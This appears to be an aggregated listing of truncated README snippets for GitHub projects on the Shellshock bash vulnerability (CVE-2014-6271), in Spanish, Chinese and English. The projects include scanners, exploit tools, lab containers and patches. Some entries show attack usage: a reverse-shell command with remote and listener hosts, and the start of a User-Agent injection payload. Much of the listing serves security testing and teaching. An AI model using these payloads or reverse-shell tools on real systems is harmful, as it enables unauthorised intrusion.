ShellShock-CGI-Scan

ShellShock-CGI-Scan Un script, en C, para comprobar si los scripts CGI son vulnerables a CVE-2014-6271 El Bug de Bash. Opciones: root@kitploit: -i dirección IP local -p puerto de escucha -l lista de sitios -t tiempo de espera de conexión Por defecto: 15s Ejemplo: $ ./Scanner -i 127.0.0.1 -p 31337...

CGIShell

CGIShell shellshock CVE-2014-6271 Exploit CGI Uso como OpenSSH vía página CGI Uso python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Captura de pantalla Dependencias Windows necesita pyreadline No es necesario chardet Futuro Añadir TestCase Soporte de inicio de sesión HTTP Compresió...

shellshock

shellshock Shelly 是一款轻量高效的漏洞扫描器，旨在识别和缓解 Bash 环境中的 Shellshock（CVE-2014-6271 和 CVE-2014-7169）漏洞。 安装： 克隆仓库：git clone https://github.com/ajansha/shellshock.git 进入目录：cd shellshock 运行工具：./shelly.sh 许可证： Shelly 采用 MIT 许可证发布。 免责声明： 本工具仅用于授权的安全评估和渗透测试活动。用户在使用前应确保遵守适用的法律法规。...

shellshocker-python

shellshocker-python 这是一个 Python 应用程序，可帮助您检测运行 Bash 的机器是否受到 CVE-2014-6271 的漏洞影响。...

ShellShock-CGI-Scan

ShellShock-CGI-Scan Un script, en C, para comprobar si los scripts CGI son vulnerables a CVE-2014-6271 The Bash Bug. Opciones: root@kitploit: -i dirección IP local -p puerto para escuchar -l lista de sitios -t tiempo de espera de conexión Predeterminado: 15s Ejemplo: $ ./Scanner -i 127.0.0.1 -p...

CVE-2014-6271

Este repositorio no tiene un README...

Shellshock-CVE-2014-6271-Exploitation-and-Analysis

🐚 Shellshock（CVE-2014-6271） – 利用与分 📌 概述 这是漏洞评估与渗透测试 – II 课程的实践作业，重点在于对 Shellshock 漏洞 （CVE-2014-6271 ）的利用与分析。 所有操作均在受控实验环境 中进行，使用 Metasploitable 2 （目标机）和 Kali Linux （攻击机）。 🛠 使用工具 💻 Kali Linux – 攻击机 🖥 Metasploitable 2 – 易受攻击的目标 🔍 Nmap – 扫描与服务检测 🎯 Metasploit Framework – 漏洞利用 🔍 漏洞概述 类型： 远程代码执行（RCE）...

XSHOCK

⚡ xShock ShellShock ⚡ 由 TMRSWRR 编写 版本 1.0.0 xShock ShellShock CVE-2014-6271 此工具利用Shellshock漏洞。 Instagram: TMRSWRR 🖼️ 截图 🖼️ 📹 如何使用 📹 点击图片... 📒 自述 📒 所有找到的目录将保存在 vulnurl.txt 文件中。 执行命令的结果保存在 response.txt 中。 🧰 特性 🧰 此工具 包括： CGI 漏洞 目录扫描 在已发现的CGI上执行命令 显示漏洞URL 更新代理 📀 安装 📀 使用 requirements.txt 安装...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC tool ======= BadBash is a CVE-2014-6271 RCE exploit tool. The basic version only checks for the HTTP CGI site and only provides netcat reverse shell on port 1234. Developer : Andy Yang Version : 0.1.0 License : GPLv3 Orginal github project :...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Shellshock 利用脚本 🎯💻🔍 本 Python 脚本利用 Shellshock 漏洞（CVE-2014-6271）在易受攻击的目标上远程执行命令或建立反向 shell。🛠️⚠️ ⚠ 免责声明 🚨❗ 此脚本仅用于教育目的和授权的渗透测试。未经明确许可对您无权测试的系统进行未经授权的使用是非法且不道德的。在进行任何安全测试之前，请务必获得适当授权。⚠️🛑🚔 🔥 特性 使用 Shellshock 漏洞在易受攻击的系统上执行任意命令。 建立到攻击者机器的反向 shell 连接。 📌 前提条件 🎓 易受 Shellshock...

Shellshock_vuln_Exploit

🚨 Shellshock RCE 漏洞利用工具 CVE-2014-6271 这是一个针对 Shellshock 漏洞 CVE-2014-6271 的 Python 利用工具，该漏洞影响 GNU Bash 。此工具攻击易受攻击的 Web 服务器上的 CGI 脚本 ，并建立到攻击者机器的 反向 shell 。 CVE ID CVE-2014-6271 免责声明 此工具仅可用于 教育和道德目的 。 功能特性 利用易受攻击的 CGI 脚本（通过 Shellshock） 反向 shell 处理程序 支持： HTTP 和 HTTPS 自定义 CGI 路径 代理支持 成功时提供交互式 shell CV...

CVE-2019-14287-CVE-2014-6271

Este repositorio no tiene un README...

exploit-CVE-2014-6271

Exploit de Shellshock + entorno vulnerable Shellshock, también conocido como Bashdoor, es una familia de errores de seguridad en el ampliamente utilizado shell Bash de Unix, el primero de los cuales fue divulgado el 24 de septiembre de 2014. Muchos servicios expuestos a Internet, como algunas...

shellshock-shell

shellshock-shell 一个简单的类似Python shell的利用工具，针对Shellshock CVE-2014-6271漏洞。 用于利用已知存在漏洞的URL。 此工具仅可用于您自己授权的URL。 该工具的作者对其使用不承担任何责任。 文件名: shellshock.py 作者: Sagi Levy - [email protected] 创建日期: 27/09/2014 Python版本: 2.7 示例: ./shellshock.py -u http://localhost/cgi-bin/bash.sh...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock远程命令注入 CVE-2014-6271 Apache Shellshock远程命令注入工具，用于快速反弹Shell和文件浏览 root@kitploit: Shellshock Apache远程利用 用法： ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3 echo="ls -la" ./Shellshock.py...

Shellbash-CVE-2014-6271

Shellshock 破壳漏洞（CVE-2014-6271） 编译运行： root@kitploit: docker-compose up -d 服务启动后，有两个页面http://your-ip:8080/victim.cgi和http://your-ip:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面，victim.cgi是bash4.3生成的页面。 将payload附在User-Agent中访问victim.cgi： root@kitploit: User-Agent: foo; ; echo Content-Type: text/plain; echo...

bash-4.3-fixed-CVE-2014-6271

简介 这是 GNU Bash，版本 4.3。Bash 是 GNU 项目的 Bourne Again SHell，它完整实现了 POSIX shell 规范，同时提供交互式命令行编辑、支持作业控制的架构上的作业控制、类似 csh 的历史替换和大括号扩展功能，以及众多其他特性。有关此 Shell 类型中 Bash 新功能的更多信息，请参阅文件 doc/bashref.texi'。此外还有一个大型的 Unix 风格手册页。该手册页是对 Shell 功能的权威描述。 有关 Bash 默认设置与 POSIX 规范有何不同以及 Bash posix 模式' 的描述，请参阅 POSIX 文件。 此版本...

shellshock-cgi

shellshock-cgi 一个用于枚举特定服务器上易受CVE-2014-6271漏洞影响的CGI脚本的Python脚本 用法 root@kitploit: $ python testing.py --server 172.16.255.130 --listen 172.16.255.1 示例返回： root@kitploit: + Testing if 172.16.255.130 is vulnerable to CVE-2014-6271 via CGI + Listening for incoming connections on the following socket...

vaas-cve-2014-6271

Vulnerabilidad como Servicio - CVE 2014-6271 Un sistema Debian Buster Linux con una versión vulnerable de bash y una aplicación web para mostrar CVS-2014-6271, también conocido como Shellshock. Resumen Este contenedor Docker está basado en Debian Buster y ha sido modificado para usar una versión...

bash-cve-2014-6271-fixes

CVE-2014-6271 patches for bash The original mailing list post only lets you fetch the patches over unauthenticated HTTP. Sigh I've downloaded these over HTTP and put them into a git repository that you can fetch over HTTPS and check independently. I have not checked whether these files are...